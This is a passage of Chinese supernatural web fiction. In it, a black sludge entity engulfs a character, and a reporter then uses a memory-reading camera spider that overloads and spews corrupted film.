那声音透出一点委屈,“你果然还不习惯我这样子是吧?我明明很努力,才变成这样的——” 咕叽。 咕叽。 安浔听到了水声。 他身后,似乎有什么东西融化了。 一滩漆黑泥泞的液体蔓延到洁白的床褥,攥住安浔的小腿,攀向安浔的手臂,将他连五指间的缝隙都完全填满。 “…………” 安浔惊得说不出话来。 他瑟瑟发抖着,浑身惊起一片鸡皮疙瘩。 那黑泥一点点漫过他的脸颊,像在轻柔地抚摸他,又强硬的、毫无怜悯地掰开他的嘴唇,腾地涌入他的口腔—— “唔!!!” 安浔瞪大眼睛。 “你果然还是喜欢这种——是吗?” 那声音笑着问。 …… …… 擎安市第七人民医院汇报厅 “……” 记者盯着眼前的蜘蛛,陷入了沉默。 A级蚀体,[忆蛛]。 这是一种特殊的蚀体,通过连接在头顶的相机进行拍摄,可以将被拍下的人类暂时存入相机中,并读取他的记忆。 一个很概念的能力。 但只要被捕捉一个正脸,再强的人也会被吸入相机。 她起初对难搞的清缴者动了手。 这个清缴者还挺有本事的,不仅和她迂回了好几个回合,还避开了忆蛛见缝插针的拍摄。这清缴者甚至能在那么紧要的关头里找到[茧幕]的核心,企图捣毁它。 好在,[茧幕]的核心不是区区塑剑能搞定的。 那个白毛砍了半天,发现连层血皮都没砍掉。 最终只能原地破防,骂骂咧咧地被收纳进相机中。 但记者想看的,不是白毛的记忆。 什么人生中的第一首歌创作于六岁那年,是用来diss霸凌者的,rap歌曲启蒙居然是花园宝宝插曲之类的…… 有病啊! 什么玩意!! 她不想看!!! 她要看的是另一个人的! 另一个的!!! “蛛蛛,你行不行啊,另一个人的呢?”记者拍了拍忆蛛头顶的摄像机。 忆蛛抖了抖,发出虚弱的声音:“你等会,在做了在做了,就要来了……我知道你很急,但你先别急。” 呃呃呃。 呃呃呃呃呃。 忆蛛又抖了起来,突然干呕一声,一片蛛丝喷向半空,凝结成了电影胶片般逐帧连贯的画面—— “有了!” 记者欣喜地看向半空,“做得好,蛛蛛!” 她盯着那胶片看了一会,表情逐渐一言难尽。 “嘶。怎么是限.制.片……” 还是人外。 不对,是人……人泥? 那是什么蚀体?怎么看不清样子?跟打了马赛克似的。 好怪,再看一眼。 记者又盯着瞅了一会,发现到最刺激的地方时,影片居然戛然而止! 全都变成黑色了。 像崩坏的影带,更多全黑的画面从忆蛛的嘴边大肆溢出。 “然后呢!” 记者面红耳赤地大喊着,“然后发生什么了!?” “蛛蛛!” “蛛蛛你说句话啊,然后发生什么了——!” 这时,她才注意到忆蛛已经晕厥了过去。 整只蛛四仰八叉地倒在地板上,八条蛛腿无力摊开,嘴边仍在溢散胶片,且越积越多。 那胶片,远远不是一个二十多岁的年轻人该有的记忆体量。 嗡嗡嗡—— 相机持续运作,忆蛛的嘴飞快外涌出数不清的黑色胶片,以惊人的速度簌簌飞向空中。 很快,整个后台都被这些崩坏的胶片挤满。 记者不可思议地盯着它们。 “这是……什么情况?”